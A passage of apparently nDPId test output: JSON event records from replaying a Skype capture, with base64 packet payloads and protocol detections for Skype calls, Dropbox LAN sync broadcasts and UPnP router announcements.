+00847{"flow_id":49,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":572,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970648,"pkt_ts_usec":370368,"pkt_caplen":369,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":369,"pkt_l4_len":335,"pkt":"AQBef\/\/6oPPBbTu2CABFAAFjBIMAAAQR\/2bAqAD+7\/\/\/+gQBB2wBT72wTk9USUZZICogSFRUUC8xLjENCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTEwMA0KTE9DQVRJT046IGh0dHA6Ly8xOTIuMTY4LjAuMjU0OjE5MDAvaWdkLnhtbA0KTlQ6IHVybjpzY2hlbWFzLXVwbnAtb3JnOmRldmljZTpXQU5EZXZpY2U6MQ0KTlRTOiBzc2RwOmFsaXZlDQpTRVJWRVI6IFRQLUxJTksgV2lyZWxlc3MgTiBOYW5vIFJvdXRlciBXUjcwMk4sIFVQblAvMS4wDQpVU046IHV1aWQ6dXBucC1XQU5EZXZpY2UtMTkyMTY4MDI1NDc4OTAwMDAxOjp1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6V0FORGV2aWNlOjENCg0K"} +00891{"flow_id":49,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":573,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970648,"pkt_ts_usec":470046,"pkt_caplen":401,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":401,"pkt_l4_len":367,"pkt":"AQBef\/\/6oPPBbTu2CABFAAGDBIQAAAQR\/0XAqAD+7\/\/\/+gQBB2wBb7pkTk9USUZZICogSFRUUC8xLjENCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTEwMA0KTE9DQVRJT046IGh0dHA6Ly8xOTIuMTY4LjAuMjU0OjE5MDAvaWdkLnhtbA0KTlQ6IHVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6V0FOQ29tbW9uSW50ZXJmYWNlQ29uZmlnOjENCk5UUzogc3NkcDphbGl2ZQ0KU0VSVkVSOiBUUC1MSU5LIFdpcmVsZXNzIE4gTmFubyBSb3V0ZXIgV1I3MDJOLCBVUG5QLzEuMA0KVVNOOiB1dWlkOnVwbnAtV0FORGV2aWNlLTE5MjE2ODAyNTQ3ODkwMDAwMTo6dXJuOnNjaGVtYXMtdXBucC1vcmc6c2VydmljZTpXQU5Db21tb25JbnRlcmZhY2VDb25maWc6MQ0KDQo="} +00819{"flow_id":49,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":574,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970648,"pkt_ts_usec":470636,"pkt_caplen":347,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":347,"pkt_l4_len":313,"pkt":"AQBef\/\/6oPPBbTu2CABFAAFNBIUAAAQR\/3rAqAD+7\/\/\/+gQBB2wBOS6hTk9USUZZICogSFRUUC8xLjENCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTEwMA0KTE9DQVRJT046IGh0dHA6Ly8xOTIuMTY4LjAuMjU0OjE5MDAvaWdkLnhtbA0KTlQ6IHV1aWQ6dXBucC1XQU5Db25uZWN0aW9uRGV2aWNlLTE5MjE2ODAyNTQ3ODkwMDAwMQ0KTlRTOiBzc2RwOmFsaXZlDQpTRVJWRVI6IFRQLUxJTksgV2lyZWxlc3MgTiBOYW5vIFJvdXRlciBXUjcwMk4sIFVQblAvMS4wDQpVU046IHV1aWQ6dXBucC1XQU5Db25uZWN0aW9uRGV2aWNlLTE5MjE2ODAyNTQ3ODkwMDAwMQ0KDQo="} +00887{"flow_id":49,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":575,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970648,"pkt_ts_usec":471194,"pkt_caplen":399,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":399,"pkt_l4_len":365,"pkt":"AQBef\/\/6oPPBbTu2CABFAAGBBIYAAAQR\/0XAqAD+7\/\/\/+gQBB2wBbXKDTk9USUZZICogSFRUUC8xLjENCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTEwMA0KTE9DQVRJT046IGh0dHA6Ly8xOTIuMTY4LjAuMjU0OjE5MDAvaWdkLnhtbA0KTlQ6IHVybjpzY2hlbWFzLXVwbnAtb3JnOmRldmljZTpXQU5Db25uZWN0aW9uRGV2aWNlOjENCk5UUzogc3NkcDphbGl2ZQ0KU0VSVkVSOiBUUC1MSU5LIFdpcmVsZXNzIE4gTmFubyBSb3V0ZXIgV1I3MDJOLCBVUG5QLzEuMA0KVVNOOiB1dWlkOnVwbnAtV0FOQ29ubmVjdGlvbkRldmljZS0xOTIxNjgwMjU0Nzg5MDAwMDE6OnVybjpzY2hlbWFzLXVwbnAtb3JnOmRldmljZTpXQU5Db25uZWN0aW9uRGV2aWNlOjENCg0K"} +00880{"flow_id":49,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":576,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970648,"pkt_ts_usec":471824,"pkt_caplen":393,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":393,"pkt_l4_len":359,"pkt":"AQBef\/\/6oPPBbTu2CABFAAF7BIcAAAQR\/0rAqAD+7\/\/\/+gQBB2wBZ2gITk9USUZZICogSFRUUC8xLjENCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTEwMA0KTE9DQVRJT046IGh0dHA6Ly8xOTIuMTY4LjAuMjU0OjE5MDAvaWdkLnhtbA0KTlQ6IHVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6V0FOSVBDb25uZWN0aW9uOjENCk5UUzogc3NkcDphbGl2ZQ0KU0VSVkVSOiBUUC1MSU5LIFdpcmVsZXNzIE4gTmFubyBSb3V0ZXIgV1I3MDJOLCBVUG5QLzEuMA0KVVNOOiB1dWlkOnVwbnAtV0FOQ29ubmVjdGlvbkRldmljZS0xOTIxNjgwMjU0Nzg5MDAwMDE6OnVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6V0FOSVBDb25uZWN0aW9uOjENCg0K"} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":589,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1431970648822,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.32","src_port":13021,"dst_port":40022,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00451{"flow_id":50,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":589,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970648,"pkt_ts_usec":822506,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"0NQSxnP1PBXCt3IOCABFAAA\/tTsAAEAR41DAqAEiQTffIDLdnFYAK5o2etcCQsTVfNgeznDqGm3ssKnJOluDwQd072c+I4wlse7Ecr8="} +00525{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":589,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1431970648822,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.32","src_port":13021,"dst_port":40022,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":590,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":1431970648822,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.33","src_port":13021,"dst_port":40011,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00452{"flow_id":51,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":590,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970648,"pkt_ts_usec":822569,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"0NQSxnP1PBXCt3IOCABFAAA+1vAAAEARJ\/bAqAEib91KITLdnEsAKklketkCS\/KCvZwmcOx3xDmHrpkfhUG8CXubM92mElOOFhZFlQ=="} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":590,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":1431970648822,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.33","src_port":13021,"dst_port":40011,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":591,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1431970648822,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.145","src_port":13021,"dst_port":40008,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":52,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":591,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970648,"pkt_ts_usec":822569,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"0NQSxnP1PBXCt3IOCABFAAA6md0AAEARSUPAqAEinTc4kTLdnEgAJsmIetsCpJOMytcJAiTHtz9O4hYGu7tAbRVxbii4hHFE"} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":591,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1431970648822,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.145","src_port":13021,"dst_port":40008,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":592,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":1,"flow_first_seen":1431970648822,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.13","src_port":13021,"dst_port":40009,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":53,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":592,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970648,"pkt_ts_usec":822569,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"0NQSxnP1PBXCt3IOCABFAAA5n+IAAEAR+MLAqAEiQTffDTLdnEkAJdiCet0C1RhCM\/VIp+W5EaRfz2WprIWREBw71gUfrFc="} +00525{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":592,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":1,"flow_first_seen":1431970648822,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.13","src_port":13021,"dst_port":40009,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":593,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":1,"flow_first_seen":1431970648822,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.19","src_port":13021,"dst_port":40020,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":54,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":593,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970648,"pkt_ts_usec":822579,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"0NQSxnP1PBXCt3IOCABFAAA29EUAAEAR81vAqAEinTg0EzLdnFQAIrQSet8CIfzcSNY9VVu6zPT0+wzX1iqsIu28Tro="} +00525{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":593,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":1,"flow_first_seen":1431970648822,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.19","src_port":13021,"dst_port":40020,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00492{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":594,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":1,"flow_first_seen":1431970648880,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01091{"flow_id":55,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":594,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970648,"pkt_ts_usec":880273,"pkt_caplen":544,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":544,"pkt_l4_len":510,"pkt":"\/\/\/\/\/\/\/\/PBXCt3IOCABFAAISCYEAAEARrZDAqAEi\/\/\/\/\/0RcRFwB\/vqceyJob3N0X2ludCI6IDE1NzMxOTU0NDUsICJ2ZXJzaW9uIjogWzEsIDhdLCAiZGlzcGxheW5hbWUiOiAiIiwgInBvcnQiOiAxNzUwMCwgIm5hbWVzcGFjZXMiOiBbMTQ4MTkzMzcsIDE3NjA5OTYzLCAyMDY0OTM0OSwgMjg1MjE2MDcsIDU4MzQ0OTk2LCA2MDU5NDk4MywgNjQ0MzYwOTksIDk2ODUzMjI0LCA5OTQ2OTc3MywgMTAxMDQ3OTk2LCAxMDgxNTkxMDIsIDEyNTU0MDU2NiwgMTc2OTY0MzA3LCAyNDM2ODI5ODYsIDI0NzkyNTA4NSwgMjYwNDY1MjYxLCAyNzA0MDQ3NDIsIDI4Mzg2MTQ1NywgNDI0NTQwMTk3LCA0NDgzOTczOTMsIDQ1MTQ3MjY1OCwgNTExNzA2NjQyLCA1NjgzOTU4MzMsIDU5NDI0Njk1NCwgNTk4MDYxMDY2LCA2MTU5ODMzNzksIDcyMDA1ODM2MSwgNzM1MDUxODMwLCA3MzYzNDE1MjgsIDc0MTI1NTYxMywgNzc2MDg3MjQ3LCA3ODA4NzA1ODEsIDc4Mjk4MTk0OSwgNzg1MjY2MTc3LCA4MTg3NTI3MTAsIDg1NTY4MjM5MCwgODg0MTIwMTMyLCA5MDg5MTQ4NjhdfQ=="} +00525{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":594,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":1,"flow_first_seen":1431970648880,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00490{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":595,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":1,"flow_first_seen":1431970648880,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01087{"flow_id":56,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":595,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970648,"pkt_ts_usec":880591,"pkt_caplen":544,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":544,"pkt_l4_len":510,"pkt":"\/\/\/\/\/\/\/\/PBXCt3IOCABFAAIStlkAAEARPhDAqAEiwKgB\/0RcRFwB\/jf1eyJob3N0X2ludCI6IDE1NzMxOTU0NDUsICJ2ZXJzaW9uIjogWzEsIDhdLCAiZGlzcGxheW5hbWUiOiAiIiwgInBvcnQiOiAxNzUwMCwgIm5hbWVzcGFjZXMiOiBbMTQ4MTkzMzcsIDE3NjA5OTYzLCAyMDY0OTM0OSwgMjg1MjE2MDcsIDU4MzQ0OTk2LCA2MDU5NDk4MywgNjQ0MzYwOTksIDk2ODUzMjI0LCA5OTQ2OTc3MywgMTAxMDQ3OTk2LCAxMDgxNTkxMDIsIDEyNTU0MDU2NiwgMTc2OTY0MzA3LCAyNDM2ODI5ODYsIDI0NzkyNTA4NSwgMjYwNDY1MjYxLCAyNzA0MDQ3NDIsIDI4Mzg2MTQ1NywgNDI0NTQwMTk3LCA0NDgzOTczOTMsIDQ1MTQ3MjY1OCwgNTExNzA2NjQyLCA1NjgzOTU4MzMsIDU5NDI0Njk1NCwgNTk4MDYxMDY2LCA2MTU5ODMzNzksIDcyMDA1ODM2MSwgNzM1MDUxODMwLCA3MzYzNDE1MjgsIDc0MTI1NTYxMywgNzc2MDg3MjQ3LCA3ODA4NzA1ODEsIDc4Mjk4MTk0OSwgNzg1MjY2MTc3LCA4MTg3NTI3MTAsIDg1NTY4MjM5MCwgODg0MTIwMTMyLCA5MDg5MTQ4NjhdfQ=="} +00523{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":595,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":1,"flow_first_seen":1431970648880,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00492{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":596,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":1,"flow_first_seen":1431970648979,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01091{"flow_id":57,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":596,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970648,"pkt_ts_usec":979653,"pkt_caplen":544,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":544,"pkt_l4_len":510,"pkt":"\/\/\/\/\/\/\/\/xCwDBkn+CABFAAIS99EAAEARvwXAqAFc\/\/\/\/\/0RcRFwB\/v9VeyJob3N0X2ludCI6IDMzNzUzNTk1OTMsICJ2ZXJzaW9uIjogWzEsIDhdLCAiZGlzcGxheW5hbWUiOiAiIiwgInBvcnQiOiAxNzUwMCwgIm5hbWVzcGFjZXMiOiBbMTQ4MTkzMzcsIDE3NjA5OTYzLCAyMDY0OTM0OSwgMjg1MjE2MDcsIDU4MzQ0OTk2LCA2MDU5NDk4MywgNjQ0MzYwOTksIDk2ODUzMjI0LCA5OTQ2OTc3MywgMTAxMDQ3OTk2LCAxMDgxNTkxMDIsIDEyNTU0MDU2NiwgMTc2OTY0MzA3LCAyNDM2ODI5ODYsIDI0NzkyNTA4NSwgMjYwNDY1MjYxLCAyNzA0MDQ3NDIsIDI4Mzg2MTQ1NywgNDI0NTQwMTk3LCA0NDgzOTczOTMsIDQ1MTQ3MjY1OCwgNTExNzA2NjQyLCA1NjgzOTU4MzMsIDU5NDI0Njk1NCwgNTk4MDYxMDY2LCA2MTU5ODMzNzksIDcyMDA1ODM2MSwgNzM1MDUxODMwLCA3MzYzNDE1MjgsIDc0MTI1NTYxMywgNzc2MDg3MjQ3LCA3ODA4NzA1ODEsIDc4Mjk4MTk0OSwgNzg1MjY2MTc3LCA4MTg3NTI3MTAsIDg1NTY4MjM5MCwgODg0MTIwMTMyLCA5MDg5MTQ4NjhdfQ=="} +00525{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":596,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":1,"flow_first_seen":1431970648979,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00490{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":597,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":1,"flow_first_seen":1431970648982,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01087{"flow_id":58,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":597,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970648,"pkt_ts_usec":982373,"pkt_caplen":544,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":544,"pkt_l4_len":510,"pkt":"\/\/\/\/\/\/\/\/xCwDBkn+CABFAAISMXYAAEARwrnAqAFcwKgB\/0RcRFwB\/jyueyJob3N0X2ludCI6IDMzNzUzNTk1OTMsICJ2ZXJzaW9uIjogWzEsIDhdLCAiZGlzcGxheW5hbWUiOiAiIiwgInBvcnQiOiAxNzUwMCwgIm5hbWVzcGFjZXMiOiBbMTQ4MTkzMzcsIDE3NjA5OTYzLCAyMDY0OTM0OSwgMjg1MjE2MDcsIDU4MzQ0OTk2LCA2MDU5NDk4MywgNjQ0MzYwOTksIDk2ODUzMjI0LCA5OTQ2OTc3MywgMTAxMDQ3OTk2LCAxMDgxNTkxMDIsIDEyNTU0MDU2NiwgMTc2OTY0MzA3LCAyNDM2ODI5ODYsIDI0NzkyNTA4NSwgMjYwNDY1MjYxLCAyNzA0MDQ3NDIsIDI4Mzg2MTQ1NywgNDI0NTQwMTk3LCA0NDgzOTczOTMsIDQ1MTQ3MjY1OCwgNTExNzA2NjQyLCA1NjgzOTU4MzMsIDU5NDI0Njk1NCwgNTk4MDYxMDY2LCA2MTU5ODMzNzksIDcyMDA1ODM2MSwgNzM1MDUxODMwLCA3MzYzNDE1MjgsIDc0MTI1NTYxMywgNzc2MDg3MjQ3LCA3ODA4NzA1ODEsIDc4Mjk4MTk0OSwgNzg1MjY2MTc3LCA4MTg3NTI3MTAsIDg1NTY4MjM5MCwgODg0MTIwMTMyLCA5MDg5MTQ4NjhdfQ=="} +00523{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":597,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":1,"flow_first_seen":1431970648982,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":601,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":1,"flow_first_seen":1431970649777,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.147","src_port":51234,"dst_port":40001,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00453{"flow_id":59,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":601,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970649,"pkt_ts_usec":777390,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABADS1AAEAG4vXAqAEinTfrk8ginEEPp71\/AAAAALAC\/\/+7IQAAAgQFtAEDAwUBAQgKPjHBiQAAAAAEAgAA"} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":602,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":1,"flow_first_seen":1431970649777,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.45","src_port":51235,"dst_port":40009,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00452{"flow_id":60,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":602,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970649,"pkt_ts_usec":777525,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAvnJAAEAGmhbAqAEiQTffLcgjnEma5hywAAAAALAC\/\/85DwAAAgQFtAEDAwUBAQgKPjHBiQAAAAAEAgAA"} 